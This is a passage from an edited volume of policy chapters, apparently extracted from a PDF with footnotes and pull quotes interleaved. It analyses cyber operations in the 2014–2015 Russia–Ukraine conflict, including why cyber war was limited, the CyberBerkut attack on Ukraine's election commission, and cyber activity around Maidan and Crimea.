http://www.rferl.org/content/how-to-guide-russian-trolling-trolls/26919999.html. Katie Simmons, Bruce Strokes and Jacob Poushter. NATO Publics Blame Russia for Ukrainian Crisis, but Reluctant to Provide Military Aid, Pew Research Centre, 15 July 2015, http://www.pewglobal.org/2015/06/10/2-russian-public-opinion-putinpraised-west-panned/. Both Western and Russian analysts may have drawn the wrong lessons from Estonia and Georgia. States (especially states with a fondness for Lenin) will use cyber attacks for politically coercive purposes and might use them for military purposes, to disrupt data or services. But the incidents in Ukraine did not disrupt command and control, deny access to information, or have any noticeable military effect. This means that we (and the Russians) may overestimate the coercive effect of cyber attacks and that their real military value is achieved when there is physical effect or disruption of data and critical services, something that most denial of service attacks cannot produce. Cyber attacks are a support weapon and will shape the battlefield, but by themselves they will not produce victory. Cyber attacks support other weapons and operations, as in the 2007 Israeli attack against Syrian air defence. This is still a subject of intense debate, but experience suggests that it is easy to exaggerate the effect of cyber attack. A more accurate assessment would rank cyber activities into three categories: espionage, operational, and political. However, note that the benefits of the former are clear, while the latter are open to question. To provide strategic or military effect, cyber actions must produce destructive effect and be integrated into existing military structures, doctrine, planning, and operations. Estonia and Georgia can be contrasted with two known attacks that did have military effect. The Israeli air strike against a Syrian nuclear facility is reported to have used cyber means to disrupt Syrian air defence radars, allowing the If cyber is the weaponisation aircraft to fly undetected across much of signals intelligence, there of the country.13 In this case, there was must be physical damage. no physical damage but a vital service was disrupted. With Stuxnet, there was physical damage, albeit inflicted covertly, that could be duplicated in overt warfare, noting that a degree of caution is warranted to predict the effect of cyber attacks on civilian infrastructure.14 We should also note the reported use of cyber techniques by the U.S. to disrupt or confuse Taliban command and control, often with lethal results for the insurgents.15 If cyber is the weaponisation of signals intelligence, it appears that to have actual military effect, there must be physical damage. This is a consideration of cyber as a tool of military action and does not consider either traditional methods of electronic warfare, which Russia has used extensively in Ukraine,16 nor the intelligence value of Russian cyber espionage. We do not know the role cyber espionage played in these efforts, but if Russian successes against the United States are any guide, we can assume cyber spying made a positive contribu13 David Makovsky. The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike. Kim Zetter. An Unprecedented Look At Stuxnet, The World s First Digital Weapon, Wired, 3 November 2014, http://www. wired.com/2014/11/countdown-to-zero-day-stuxnet/. Interviews with US military officials. Joe Gould. Electronic Warfare: What US Army Can Learn From Ukraine, Defense News, 4 August 2015, http://www.defensenews.com/story/defense/policy-budget/warfare/2015/08/02/us-army-ukraine-russia-electronic-warfare/30913397/. tion. That Russia has completely penetrated Ukrainian communication networks and has unparalleled access to Ukrainian communications is likely to provide considerable value for Russian tactics and planning, but cyber as a tool of coercion has proven to be of limited utility. This is certainly not the cyber war as it is often depicted in public media, but it does not mean that cyber attack is overrated and militaries can deemphasise it. That would be a rash conclusion. It means that the Russians, for whatever reason, chose not to use the most damaging forms of cyber attack against Ukraine, Georgia, or Estonia. If allegations that Russia were responsible for damaging cyber attacks on a German steel mill17 and a Turkish pipeline18 are correct, these would demonstrate that Russia has the capability necessary for cyber attacks that would create physical damage and qualify as a use of force. Russia s 2008 exploit in penetrating Central Command s classified networks19 was an early demonstration of its ability to implant malware on an opponent s networks that could erase data and disrupt command and control, but the Russians chose not to do this. In Ukraine, Russia has experimented with how best to produce military and political benefits from cyber operations. Political context and alliance relationships have a powerful influence in constraining the use of force, including cyber attacks. Its cyber actions appear to reflect a decision not to engage the full range of Russian cyber capabilities. Other potential opponents, including NATO, should not assume that in the event of conflict, the Russians will make the same decision. Hack attack causes massive damage at steel works, BBC, 22 December 2014, http://www.bbc.com/news/technology-30575104. Ariel Bogle. A Cyber Attack May Have Caused a Turkish Oil Pipeline to Catch Fire in 2008, Slate, 11 December 2014, http:// www.slate.com/blogs/future_tense/2014/12/11/bloomberg_reports_a_cyber_attack_may_have_made_a_turkish_oil_pipeline_catch.html. Phil Stewart and Jim Wolf. Old worm won t die after 2008 attack on military, Reuters, 16 June 2011, http://www.reuters.com/ article/2011/06/17/us-usa-cybersecurity-worm-idUSTRE75F5TB20110617. Chapter 5 The Cyber War that Wasn Martin Libicki RAND Introduction: Isn t It Time for Cyber War? For the last twenty years, with the advent of serious thinking about cyber war , most analysts and even the more sceptical thinkers have been convinced that all future kinetic wars between modern countries would have a clear cyber component. However, the current Russo-Ukrainian conflict is challenging this widely held notion. Coinciding with this assumption, however, it must be said that within the past generation there have been few conflicts in which both sides appeared both capable of and vulnerable to cyber attack. Either one party to the conflict usually the United States held all the cyber cards, or neither did. For cyber war to take place, at least one side must have enough digitised networked equipment to make Analysts have been convinced much difference. In some past conflicts, that future kinetic wars would the US may have abstained from firhave a clear cyber component. ing digital weapons because the other side simply lacked appropriate targets. Many analysts have speculated that the US, and now other highly networked societies, may hesitate to use cyber tactics because of their own inherent vulnerabilities in this domain. Apart from Stuxnet, the most frequently cited example of cyber war in action came during an alleged Israel Air Force strike against Syrian nuclear facilities in 2007. Integrated air-defence systems (IADS) have been considered ripe targets for cyber warfare, but it was understood that there would be a cost-benefit analysis relative to dispatching them using more familiar tools such as electronic warfare or missiles. There were rumours, for example, that the US employed cyberwar techniques against Serbian IADS in 1999, but these rumours were never substantiated. Even the Syrian story may be a fairy tale, as the details are classified and subject to much speculation. It is possible that the tactics were in fact more conventional, such as traditional jamming.1 Unique Aspects of the Russo-Ukrainian Conflict The current Russo-Ukrainian conflict, however, is a different case, and it should help us to understand if cyber war is, in 2015, more myth or reality. According to the prevailing assumption, this war should have seen serious and open cyber war strategies and tactics. Both countries have technologically advanced societies and weaponry that at least came up to 1990 standards of modernity. Both countries have a strong information technology (IT) base, and hackers a-plenty, although many of them are engaged in organised crime rather than working for the state.2 Russia state-sponsored hackers are widely believed to be on par with, or very close to, NSAlevel standards. The most notable thing about the war in Ukraine, however, is the near-complete absence of any perceptible cyber war. There has been vigorous cyber espionage,3 the targeting of cell phones by Russian electronic warfare, and the use of old-fashioned bolt-cutters to sever lines of communication in Crimea.4 Patriotic hacktivists on both sides have conducted harassing but small cyber attacks against each other,5 both sides have conducted Distributed Denial-of-Service (DDoS) attacks (e.g., by Russia against Ukraine s parliament),6 and As Richard Clarke and Robert Knake maintain in Cyberwar, The Next Threat to National Security and What to do About It, New York NY: HarperCollins, 2010; see also David Makovsky. The Silent Strike: How Israel bombed a Syrian nuclear installation and kept it secret, The New Yorker, 17 September 2012, http://www.newyorker.com/magazine/2012/09/17/the-silent-strike. Ukraine s hackers do not make as much news but consider Dan Goodin. Strange snafu hijacks UK nuke maker s traffic, routes it through Ukraine, ARS Technica UK, 13 March 2015, http://arstechnica.com/security/2015/03/mysterious-snafu-hijacks-uknukes-makers-traffic-through-ukraine/. Apparently, the Russians have developed some powerful malware for that purpose against Ukraine: cyber-snake (aka Ouroboros). See Sam Jones. Cyber Snake plagues Ukraine networks, FT Online, 7 March 2014, in http://www.ft.com/cms/s/0/615c29ba-a614-11e3-8a2a-00144feab7de.html or David Sanger and Steven Erlanger, Suspicion Falls on Russia as Snake Cyberattacks Target Ukraine s Government NY Times Online, 8 March 2014, http://www.nytimes.com/2014/03/09/world/europe/ suspicion-falls-on-russia-as-snake-cyberattacks-target-ukraines-government.html. Sam Jones. Kremlin alleged to wage cyber warfare on Kiev, FT Online, 5 June 2014, http://www.ft.com/intl/cms/s/0/e504e278e29d-11e3-a829-00144feabdc0.html#axzz3b4c6egXI. See also the claim of General Breedlove, EUCOM s Commander: They disconnected the Ukrainian forces in Crimea from their command and control, from Michael Gordon. NATO Commander Says He Sees Potent Threat From Russia, NY Time Online, 2 April 2014, http://www.nytimes.com/2014/04/03/world/europe/ nato-general-says-russian-force-poised-to-invade-ukraine.html. Cyber Berkut Hackers Target Major Ukrainian Bank, The Moscow Times, 4 June 2014, http://www.themoscowtimes.com/ business/article/cyber-berkut-hackers-target-major-ukrainian-bank/502992.html of July 4, 2014. Nicole Perloth. Cyberattacks Rise as Ukraine Crisis Spills to Internet, New York Times Bits, 4 March 2014, http://bits.blogs. nytimes.com/2014/03/04/cyberattacks-rise-as-ukraine-crisis-spills-on-the-internet/. a (fruitless) campaign to corrupt voting processes in Ukraine.7 However, we have seen nothing comparable to the cyber attacks carried out against Estonia in 2007 or Georgia in 2008. On the other hand, the information and propaganda war in the social media domain (particularly from the Russian side) has been relentless. In this regard, Moscow has a competitive advantage over Kyiv. The two countries share a common language, Russian (the use of the Ukrainian language is growing fast, but that language is Slavic), and most Russian-language-friendly sites such as VKontakte (the Russian Facebook) are headquartered in Russia. That said, little if any of the conflict taking place in social media requires subverting computers through the discovery of vulnerabilities or the engagement of exploits. In particular, there are two major forms of cyber attack that have not taken place in the Russo-Ukrainian conflict: attacks on critical infrastructure and attacks on defence systems. It is possible that, in the future, we may learn that there have been Two major forms of cyber such attacks, but that they were simply attack have not taken place: subtle enough to slip under the radar. With Stuxnet, Iran s centrifuge plant at on critical infrastructure and Natanz was infected for six months, with on defence systems. centrifuges failing at unexpected rates, before Iranian engineers understood why. Successful cyber attacks could indefinitely be ascribed to incompetent management before a complete picture is understood. And as for military systems, credible stories of their successful attacks may emerge years later, when people are freer to talk about what happened in the war. Even with all of that in mind, in the Internet era it has become difficult to keep secrets for long periods of time, and the growing absence of cyber attack evidence is turning into the evidence of absence. Possible Reasons for the Absence of Cyber Conflict So, based on what we know now, why has this kinetic conflict seen so little cyber conflict? Here are some possible answers to that question. Ukraine does not have the requisite hackers. Russian hackers need no introduction. They work for the state, for cyber crime syndicates, and for themselves as patriotic hacktivist defenders of Mother Russia. However, on the Ukrainian side (a much smaller nation to begin with), it is possible that a large percentage of the hacker talent is of Russian descent and may have divided loyalties in this conflict. That said, Mark Clayton. Ukraine election narrowly avoided wanton destruction from hackers, Christian Science Monitor, 17 June 2014, http://www.csmonitor.com/World/Passcode/2014/0617/Ukraine-election-narrowly-avoided-wanton-destruction-from-hackers-video. many small countries have made large contributions in cyberspace, including Estonia, Iceland, Lebanon8 and Israel. Neither Russia nor Ukraine has valid targets. This gets closer to the truth. Although the Soviet Union of 1990 had sophisticated weapons, their long suits were in metallurgy and radio-frequency devices. When the Soviet Union collapsed, it was significantly behind the West in terms of electronics and software. In the last five years, there has been a modest recapitalisation in Russia, but close to none in Ukraine. Since the end of the Cold War, the United States has for the most part maintained its substantial lead over Russia in digitisation and networking. Thus, US fears about its systems falling prey to hackers are currently not shared by the majority of nation-states, who feel that they are not particularly vulnerable. However, the truth probably lies somewhere in the middle: for example, no one is buying analogue telecommunications systems anymore, not even in the developing world. New equipment is digital and networked, not only because it is more powerful, but because it is cheaper over the long run. Therefore, even in Russia and Ukraine, the level of digitisation is likely high enough to engender real concerns about their societies vulnerability to cyber attack. Their militaries may be antiquated, but due to the close relationship between the IT of modern civilian and military domains, there is probably still plenty for hackers to target. There is no need The Russians already own Ukraine: Much of Ukraine s infrastructure notably the phone system dates from the Soviet era. It is logical, therefore, that the Russians have already wired the phone system for interception and, it would hardly be in their interest to take it down.9 This explanation does not explain anything the Ukrainian side has or has not done, nor does it explain the lack of attacks on other systems such as power, natural gas distribution or finance. However, it may help to understand a lack of attacks on telecommunications, given that a cyber attack could disrupt a lucrative cyber espionage operation by alerting defenders that their systems have been penetrated and forcing a system scrub. Such action may not only knock out existing implants but also make the reinsertion of malware more difficult. The effects of cyber attack tend to be short term, while stealthy cyber exploitation can persist for years. Therefore, for strategic purposes, attacks such as Denial-of-Service (DoS) can be counterproductive. Well-designed technologies like Skype, however, which have end-to-end encryption, could lessen the value of cyber espionage over time (but not by much, because encryption does not protect if computers on one or both ends of the conversation are compromised), and increase the likelihood of denial-of-service attacks. Neither Russia nor Ukraine wants such an escalation: In theory, the Russo-Ukrainian conflict is not a war between two states, but an insurgency and count8 Kelly Jackson Higgins. Lebanon Believed behind Newly Uncovered Cyber Espionage Operation, Information Week, 31 March 2015, http://www.darkreading.com/attacks-breaches/lebanon-believed-behind-newly-uncovered-cyber-espionage-operation/d/d-id/1319695. Jeffrey Carr, quoted in Patrick Tucker. Why Ukraine Has Already Lost The Cyberwar, Too, Defence One, 28 April 2014, http:// www.defenseone.com/technology/2014/04/why-ukraine-has-already-lost-cyberwar-too/83350/. er-insurgency campaign over territory in eastern Ukraine. According to the Russian Government, Russian forces are not even in the fight, and thus far, neither country infrastructure (outside the battle zone) has been touched. In this context, if Russia were to attack Ukraine s infrastructure or vice versa it would be hard to ascribe the attack to separatists, who likely would not possess the requisite advanced hacker skills among their patriotic hacker ranks. Organised crime syndicates may have the technical expertise, but may lack the trust or the intelligence-informed approach required. Still, given that both of these groups enjoy some state protection in Russia, such an operation is not out of the question. The more important point here is that any such escalation could change the narrative of the conflict from an inter-ethnic squabble to an interstate war. An obvious attack by Russia against Ukraine infrastructure may conflict with its current political narrative. A Ukrainian attack against Russia could be a warning signal to Moscow that it will have to pay a price for its actions (a sporty move indeed), as well as a sign that it cannot do better in a conventional fight with the Russian military. A wild card here is that cyber war techniques in 2015 may be viewed in and of themselves as unduly escalatory, but this fear likely does not apply to cyber attacks precisely focused on enemy military targets in theatre where their use ought to seem no more alarming than the use of, say, electronic warfare. Finally, it is important to remember that two nuclear states may easily prefer fighting without resorting to nuclear weapons; in cyber warfare, many analysts have noted that any two sides are likely riddled with exploitable vulnerabilities.10 Cyber war is not a silver bullet . Proponents of cyber war argue that attacks are cheap, asymmetric, effective, and risk-free. But what if they are wrong? A truly successful cyber attack one that does more than simply annoy defenders is harder than it looks. Penetrating systems without getting caught requires technical expertise that is in short supply. Preoperational reconnaissance and intelligence A truly successful cyber attack gathering of the kind required to cre that does more than simply ate politically interesting effects such as against national critical infrastructure, annoy defenders is harder or to target military defence systems than it looks. takes a long time and may not produce practical results. In 2015, it is also possible that neither Russian nor Ukrainian systems are sufficiently wired to allow for easy access and manipulation. Human-in-the-loop safeguards, for example, may prevent truly serious damage from occurring except on rare occasions. Both crit10 The Russians and Ukrainians have some of the best computer people in the world, because of the Soviet legacy military industrial complex, says Taras Kuzio, a Ukraine expert at the School of Advanced International Studies at Johns Hopkins University. These [Ukrainian] guys are fantastic. So if the Russians tried something like a cyberattack, they would get it right back. There would be some patriotic hackers in Ukraine saying, Just who are the Russians to do this to us? from Mark Clayton. Where are the cyberattacks? Russia s curious forbearance in Ukraine, Christian Science Monitor, 3 March 2014, http://www.csmonitor. com/World/Security-Watch/2014/0303/Where-are-the-cyberattacks-Russia-s-curious-forbearance-in-Ukraine.-video. ical infrastructure and combat systems are designed to operate under a great deal of stress and unexpected events. Some states may already have calculated that the effects of cyber war are limited, temporary, and hard to repeat. Attackers also fear that digital weapons may work only once before defenders can plug the necessary holes. In this light, is developing a cyber war arsenal really worth it? Conclusion In 1972, when Chinese Premier Zhou Enlai was asked about the significance of the French Revolution of 1789, he famously said, It is too soon to say .11 With that logic in mind, it must be noted that the Internet is still a baby, and that cyber attacks are still in a nascent stage. Despite the prevailing 25 May 2015 ceasefire, the Russo-Ukrainian conflict is not over. Currently, it could be that neither side wants to escalate this somewhat localised conflict into the realm of interstate war, and this may inhibit operations otherwise warranted in less opaque circumstances. Both parties to the conflict are still exploring their best options, and both are surely upgrading their traditional and digital military arsenals. Finally, it is hard to say what current cyber operations may come to light in the future. However, in mid2015, the preponderance of evidence suggests that the easy assumption that cyber attacks would unquestionably be used in modern warfare has come up wanting. Alas, one of the greatest quotes in international relations of the 20th century may have been misunderstood, as Chou was actually referring to French protests of 1968. However, a diplomat present at the time said Chou s comment was too delicious to invite correction. Dean Nicholas Zhou Enlai s Famous Saying Debunked, History Today, 15 June 2011, http://www.historytoday.com/blog/news-blog/dean-nicholas/zhou-enlais-famous-saying-debunked. Chapter 6 Revolution Hacking Nikolay Koval CyS Centrum LLC Introduction: Cyber Conflict in Ukraine During Ukraine s revolution in 2014, I served our country as the chief of its Computer Emergency Response Team (CERT-UA).1 During my tenure, we responded to a wide variety of network security incidents. I can say with great confidence that the number and severity of cyber attacks against Ukraine rose in parallel with ongoing political events. Before the revolution, Ukraine The number and severity of experienced a fairly typical array of cyber attacks against Ukraine incidents, the most frequent of which were botnet-driven Distributed Denial rose in parallel with ongoing of Service (DDoS) attacks. Often, these political events. came in retaliation for unpopular government initiatives, such as when the authorities tried to shut down the file-sharing website www.ex.ua. By the end of 2012, some of the public s frustration was channelled into politically motivated website defacements (i.e. digital graffiti) within the government s Internet Protocol (IP) space. In 2013, we began to discover a much more serious class of malware. Network vandalism had given way to a surge in cyber espionage, for which commercial cyber security companies developed a list of colourful names: RedOctober, MiniDuke, NetTraveler, and many more. CERT-UA lies within the State Service for Special Communications and Information Protection of Ukraine. In other words, the botnets were large enough that no other amplification was needed. Once the revolution began in February 2014, even ordinary Ukrainians became familiar with the combination of hacking and political activism, or hacktivism in which the attackers seek to wage psychological war via the internet. Although many people were exhausted by the momentous political events that had shaken our country, it was hard to ignore the publication of allegedly leaked Ukrainian government documents detailing a secret, fascist government agenda. The most prominent hacktivist group was CyberBerkut,3 and it is their most famous attack which is detailed below. In the course of so many incident responses we learned that, with sufficient evidence, it is usually possible to understand the general nature of an attack, including who the attackers might be and what they were seeking. Timing, context, victim identity, and malware sophistication are good indicators. Cutting-edge spyware is likely to be found on the computers of senior government officials or on important network nodes within national critical infrastructure. For example, in one case, we wondered why a private sector executive had been hit, and then discovered that he had previously been a high-ranking government official. In my opinion, CERT-UA in collaboration with network security firms such as Kaspersky Lab, Symantec, ESET, and others was usually able to detect, isolate, and eliminate serious threats to network security in Ukraine. However, in the course of our work, we also discovered another problem that any enterprise today should seek to address: a fundamental lack of user understanding of cyber security. At every institution, therefore, we tried to carry out a malware literacy campaign to teach employees how infections begin and how attackers can subsequently control their computers to steal documents, all via a tiny, unauthorised program that can be maddeningly difficult to find. Case Study: Hacking a Presidential Election The most sensational hacktivist attack took place during Ukraine s presidential elections. On 21 May 2014, CyberBerkut compromised the Central Election Commission (CEC), disabling core CEC network nodes and numerous components of the election system. For nearly 20 hours, the software, which was designed to display real-time updates in the vote count, did not work properly. On 25 May election day 12 minutes before the polls closed (19:48 EET), the attackers posted on the CEC website a picture of Ukrainian Right Sector leader Dmitry Yarosh, incorrectly claiming that he had won the election. This image was immediately shown on Russian TV channels. It is important to note here that this attack could in no way have determined the outcome of the election. In Ukraine, every citizen inks his or her vote on a real paper For background on this hacker group, see Wikipedia entry CyberBerkut, https://en.wikipedia.org/wiki/CyberBerkut. ballot, and all votes are manually verified. Each polling station in every corner of the country physically delivers its ballots to CEC headquarters in Kyiv for aggregation, reconciliation, and determination of the final tally. CEC s information technology (IT) infrastructure is a complex, geographically distributed system designed for fault tolerance and transparency. Polling stations have an anti-fraud design that allows monitors to detect anomalies such as dramatically swinging vote counts and report them to the appropriate authorities. Any serious disruption during an election would generate immediate suspicion about its legitimacy, and spark a desire for a new election. That said, I believe that we should not underestimate the ability of hackers especially those that enjoy state sponsorship to disrupt the political process of a nation. If CEC s network had not been restored by 25 May, the country would simply have been unable to follow the vote count in real-time. However, to what extent would that have caused citizens to question the integrity of the entire process? It is hard to know. CEC was not the only election-related site compromised. There were many others, including some that were only tangentially related to Ukrainian politics when, for example, the word election had unfortunately appeared somewhere on the site. But even when attacks against low-level sites were unsophisticated, and the sites basically continued to function, the attackers still got the press attention they sought. The technical aspects of this hack also tell us something very important: the The technical aspects of this hackers were professionals. Beyond dishack also tell us something abling the site and successfully displaying incorrect election results, CERT-UA very important: the hackers discovered advanced cyber espionage were professionals. malware on the CEC network (Sofacy/ APT28/Sednit). These two aspects of the attack disruption and espionage may seem contradictory, but in fact they are quite complementary. Hackers must first conduct in-depth reconnaissance of a target prior to any serious attack. To bolster its technical credentials as an elite hacker group, CyberBerkut claimed to have discovered and exploited a zero-day vulnerability in CEC s Cisco ASA software. In my opinion, it is highly unlikely that a non-state hacker group would possess such a high level of technical expertise. If CyberBerkut really did exploit a zeroday, the group is likely supported by a nation-state. During my tenure as chief of CERT-UA, the CEC compromise was probably the most technically advanced cyber attack we investigated. It was well planned, highly targeted, and had some (albeit limited) real-world impact. Preparation for such an attack does not happen overnight; based on our analysis of Internet Protocol (IP) activity, the attackers began their reconnaissance in mid-March 2014 more than two months prior to the election. Neither does the level of required expertise sug- gest that this was the work of amateurs; at a minimum, the hackers had gained administrator-level access to CEC s network. Conclusion: What Is to Be Done? Ukraine today faces cyber security challenges on at least two fronts. First, there are technical attacks against a wide range of network infrastructure, including individual websites and whole Internet Service Providers (ISPs). These encompass everything from preoperational reconnaissance to social engineering against the target employees. Second, there is an ongoing, content-driven information war within the online media space designed to influence and deceive the public. More serious threats lie over the horizon. In recent incident response activities we have discovered samples of the most advanced forms of malware, including BlackEnergy2/SandWorm, Potao, Turla/Urobros, and more. In the face of these threats, Ukraine is currently unprepared. At the strategic level, our senior officials are preoccupied with more pressing concerns. At the tactical level, our law enforcement agencies still fail to grasp the basic connection between email attachments, remote administrative software, and cyber espionage. Today, there is no unified mechanism to monitor Ukraine s network space, which hinders our ability to detect cases of unauthorised access in a timely fashion. It is time for the government of Ukraine to pay greater attention to cyber It is time for the governsecurity. Given our current national secument of Ukraine to pay rity crisis, this will not be easy. However, attention to cyber security. in spite of the challenging environment, many positive developments are taking place in Ukraine, such as the recent transformation of Kyiv s metropolitan police force.4 A similar breakthrough can take place in our cyber security domain, but it must begin with the allocation of funds to hire and retain the right personnel through competitive salaries and more attractive working conditions. Laura Mills. In Ukraine s Capital, a New Show of Force, The Wall Street Journal, 6 August 2015, http://www.wsj.com/articles/ in-ukraines-capital-a-new-show-of-force-1438903782. Chapter 7 Cyber Operations at Maidan: A First-Hand Account Glib Pakharenko ISACA Kyiv Introduction: Cyber Conflict in Ukraine I would like to tell the story of what I experienced in Ukraine from the autumn of 2013 until the end of 2014. In this chapter, I will describe the nature and impact of numerous cyber attacks that took place during our revolution and the subsequent conflict between Ukraine and Russia. As background, it is important to understand the strategic value of Ukraine to Russia. Ukraine is the largest country in Europe, with over 42 million citizens and 27 administrative divisions. In the past, its rich farmland and industrial base have been coveted by Russia, Turkey, Poland, and even by Nazi Germany. Ukraine has also made significant contributions in politics; the Ukrainian Cossacks created the first constitution in contemporary European history. Following the horrors of World War II, the country continued to suffer under Soviet rule until it regained its independence in 1991. Despite that, Russia has never really let go of Ukraine. Ukraine has had internet connectivity since 1990. As everywhere else in the world, it has also had its share of cyber attacks. The majority of these have come in the form of Distributed Denial-of-Service (DDoS) incidents against politically or economically targeted websites. During election seasons, for example, hackers have frequently gone after the websites of political parties. In terms of cyber crime, Ukraine has long been home to carding, mobile operator fraud, spam factories, cyberlockers, pirated software, unauthorized bank transfers, and various attacks on rival businesses. Responsibility for the enforcement of internet security in Ukraine belongs to the Ministry of Internal Affairs (MVS) and the Security Service of Ukraine (SBU).1 Cyber security regulations are overseen by the State Service of Special Communication and Information Protection (SSSCIP),2 but the ultimate responsibility for cyber crimes has never made explicit, and in this regard there has been competition between the MVS and SBU. Ukraine s Computer Emergency Response Team was created in 2007. National cyber security legislation is still in its nascent stages. Many of our current laws date from the Soviet era, and need to be updated for the information age. The national critical infrastructure domain is still largely unregulated. Definitions related to cyber security and information security are unclear, as is the distinction between them. Historically, the Ukrainian police have investigated straightforward cases related to illegal content, online gambling, and pornography. Their number of qualified personnel trained in cyber security was low, with little competency in computer or network forensics. Therefore, their most common tactic was simply to confiscate all IT equipment. Given these circumstances, Ukraine is currently ill-prepared to combat advanced, nation-state level cyber attacks. In the future, its specialists would like to see the arrival of more non-governmental organisation (NGO) support from the European Union and United States, with a view to implementing modern best practices and internationally recognised standards. The Impact of Euromaidan The Revolution of Dignity in Ukraine began in late 2013 when citizens took to the streets to vent their fury at the decision of then-President Viktor Yanukovych not to sign an agreement of political association with the European Union (EU). This political movement became known as Euromaidan the Ukrainian word Maidan means square in English, and refers to the main square in the capital city, Kyiv. On November 30, mobile phone communications were systematically shut down through mobile operators, and armed police units physically attacked the protesters. However, the population was undeterred, and by December 2, more than 500,000 people crowded into Maidan. The sitting government made several more attempts to clear the city, using gas grenades and plastic bullets, and the author personally suffered a long-term injury from exposure to tear gas. The crackdown eventually led to the use of lethal force,3 likely killing well over 100 protestors.4 The SBU is a former constituent part to the Soviet KGB, and is still coming to terms with its legacy ideology and post-Soviet corruption. The SSSCIP was a former constituent part of SBU and has since had a conflicting relationship with its former parent over its role in the information security arena. The author believes that Russian Security Services took part in these killings. List of people killed during Euromaidan , Wikipedia, https://en.wikipedia.org/wiki/List_of_people_killed_during_Euromaidan. The cyber attacks began on 2 December 2013 when it was clear that protesters were not going to leave Maidan. Opposition websites were targeted by DDoS attacks, the majority of which came from commercial botnets employing BlackEnergy and Dirt Jumper malware. Police confiscated mobile phones to The cyber attacks began on acquire the protestors web, email, social media, and financial activities. 2 December 2013 when it was In one case, pornographic images clear that protesters were not were uploaded to a protestor s social going to leave Maidan. media account, and were later used to prosecute him. Police seized computers from the opposition party s premises, and according to one city official, the lighting in city hall (which had been a base of opposition activity) was switched off remotely, via the internet. Opposition activists also conducted cyber attacks against the Ukrainian Government, using tools such as the Low Orbit Ion Cannon (LOIC) to launch DDoS attacks on the President s website. When one group of protestors entered the Ministry of Energy, the organisation sounded a red alert at Ukrainian nuclear facilities, due to the fact that the national electricity grid is remotely controlled via the internet from headquarters. During this period of intense cyber attacks in Ukraine, cyber criminal organisations proactively reduced their use of the Ukrainian Internet Protocol (IP) space, rerouting their malware communications through Internet Service Providers (ISP) in Belarus and Cyprus, which meant that, for the first time in years, Ukraine was not listed among the leading national purveyors of cyber crime.5 The largest and most sophisticated attacks coincided with the lethal shooting of protestors in Maidan (February 18-20, 2014). The mobile phones of opposition parliament members were flooded with SMS messaging and telephone calls in an effort to prevent them from communicating and coordinating defences. One precision attack (which targeted the protesters on only one street in Kyiv) entailed spamming the IMSI catcher device on mobile phones with fake SMS messages, threatening the recipient with prosecution for participation in the protest.6 In western Ukraine, the Government turned off the main opposition TV channel, and when protesters decided to enter police departments, those facilities were disconnected from the Public Switched Telephone Network (PSTN) and internet. Despite all of these police actions, the now-radicalised protesters were unbowed, and continued their revolutionary campaign. Therefore, on February 22, 2014, Ukrainian President Yanukovich fled to Russia, and a new and reformist government was established in Kyiv. HostExploit analysis, http://hostexploit.com/. This tactic has also been used by Russian military units in eastern Ukraine. Crimea and Donbass By the end of April 2014, the Russian Government had responded to these events by occupying and annexing the Ukrainian peninsula of Crimea, as well as military intervention in eastern Ukraine, where hostilities continue to this day. From the start of its Crimean operation, the Russian army moved to gain control of the peninsula s telecommunications infrastructure, severing cables and routing calls through Russian mobile operators. Ukrainian media companies lost their physical assets in Crimea, and local television programming shifted from Ukrainian to Russian channels. With physical access to its control infrastructure, Russia also commandeered Ukrainian national satellite platform Lybid. From the start of its Crimean In Kyiv, as soon as the Russian operation, the Russian army military occupied Crimea, the internal security staff of one of Ukraine moved to gain control of telemobile operators immedicommunications infrastructure. largest ately demanded the severing of communications links between Ukraine and the occupied territory. However, its pro-Russian management refused, and maintained unrestricted connectivity as long as possible, likely so that Russian security services could retain access to its internal systems, for intelligence gathering and other information operations. Ukrainian mobile operators saw an increase in the volume of cyber crime emanating from Crimea, and it is likely that Russian security services acquired intelligence from information collected in this way. Pro-Russia media, discussion forums, and social network groups were active in propaganda dissemination. The Crimea campaign was even buttressed by mass changes in Wikipedia, where Russian propaganda teams altered articles related to the events taking place there. Today in Crimea, Russian authorities have implemented content filtering for internet access, including the censorship of Ukrainian news sites. In November 2014, Russia announced it would create a cyber warfare-specific military unit in Crimea. Pro-Ukrainian hackers have attacked Crimean websites during the occupation, such as that of the Crimean Parliament7 and a site linking to public web cameras.8 They have also released allegedly official Russian documents related to the conflict which were claimed to be stolen from Russian government servers.9 As the conflict shifted to Donbass, cyberspace played an increasingly important role in military operations. Physical attacks destroyed cabling, broadcast infra7 Vulnerabilities in www.rada.crimea.ua ,12 March 2014, Websecurity http://websecurity.com.ua/7041/. Ukrainian Cyber Army: video intelligence , Websecurity April 23, 2015, http://websecurity.com.ua/7717/. Aric Toler. Russian Official Account of Attack on Ukraine Border Guards , bellingcat, 30 May 2015 https://www.bellingcat. com/news/uk-and-europe/2015/05/30/russian-official-account-of-attack-on-ukraine-border-guards/. structure, and ATM networks, and this served to isolate the region from Ukrainian media, communications, and financial services.10 Military operations were coordinated with propaganda disseminated on Russian TV channels and internet-based media. Finally, the occupation army performs regular forensics checks on computers and mobile devices owned by the population in eastern Ukraine. Russian signals intelligence (SIGINT), including cyber espionage, has allowed for very effective combat operations planning against the Ukrainian army. Artillery fire can be adjusted based on location data gleaned from mobile Russian signals intelligence phones and Wi-Fi networks.11 GPS (SIGINT) has allowed for effecsignals can also be used to jam aerial drones. Ukrainian mobile tive combat operations against traffic can be rerouted through the Ukrainian army. Russian GSM infrastructure via a GSM signalling level (SS7) attack;12 in one case, this was accomplished through malicious VLR/HLR updates that were not properly filtered. Russian Security Services also use the internet to recruit mercenaries. Generally speaking, the computer systems and mobile communications of Ukrainian government, military, and critical infrastructure are under permanent attack, and their communications are routinely intercepted and analysed for information of intelligence value. There are also many attacks on Ukrainian businesses: examples include the Ukrainian Railway Company, Kievstar mobile operator,13 a SMART-TV retail shop,14 and a city billboard.15 Cyber Tactics Cyberspace is a complex domain. In the Ukraine conflict, we have seen many different types of actors, tools, and tactics. Hacktivists have used the Low Orbit Ion Cannon; criminals have used malware like Blackenergy and DirtJumper. But with cyber attacks, attribution and motive are not always clear, and the level of deception is high. The pro-Russia hacker groups Cyberberkut and Cyber-riot Novorissia have conducted DDoS attacks and released stolen email and office documents from Ukrainian officials. Russian media, parliament members, and pro-Russian Some attacks against telecom infrastructure took place in Kyiv as well. In the area of ATO proposes to ban military use mobile phones , 12 May 2015 